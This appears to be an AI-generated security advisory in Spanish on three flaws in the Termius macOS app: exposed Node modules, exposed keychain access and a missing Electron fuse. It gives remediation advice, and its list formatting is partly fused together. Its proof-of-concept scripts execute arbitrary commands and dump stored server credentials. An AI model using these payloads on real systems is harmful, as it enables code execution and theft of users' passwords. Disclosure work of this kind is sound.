
Objetivo: Termius (macOS) Versión probada: Última (a enero de 2026) Impacto: Ejecución remota de código (RCE), Escalada de privilegios local (LPE), Omisión de la seguridad de la aplicación
Se identificaron tres vulnerabilidades críticas en la aplicación Termius para macOS que permiten a un atacante:
keytar expuesto.ELECTRON_RUN_AS_NODE faltante.La aplicación expone módulos potentes de Node.js (child_process, fs, electron) al proceso renderizador (la parte de interfaz web de la aplicación). Estos módulos están ocultos detrás de un Symbol global en el objeto window para ofuscarlos, pero no están aislados de forma segura.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Un atacante que logre Cross-Site Scripting (XSS) puede escalar inmediatamente a RCE utilizando este Symbol expuesto.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
El módulo nativo de Node keytar, que Termius utiliza para interactuar con el Llavero (Keychain) de macOS, también está expuesto a través del mismo Symbol oculto. Esto permite que cualquier script que se ejecute dentro del contexto de la aplicación (por ejemplo, un plugin malicioso, XSS o inyección de procesos local) consulte y recupere contraseñas en texto plano de todos los servidores guardados.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)El binario de Termius no deshabilita el fuse ELECTRON_RUN_AS_NODE. Esta es una mala configuración de seguridad crítica que permite a cualquier usuario local ejecutar el binario firmado de Termius como un ejecutable estándar de Node.js. Esto omite por completo las comprobaciones de integridad de la firma de código de macOS para la lógica de la aplicación.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode y EnableNodeCliInspectArguments usando @electron/fuses durante la compilación.window o global. Usar contextBridge.exposeInMainWorld con una superficie de API restringida que solo exponga las funciones necesarias, no módulos completos.Informe generado por Antigravity Agent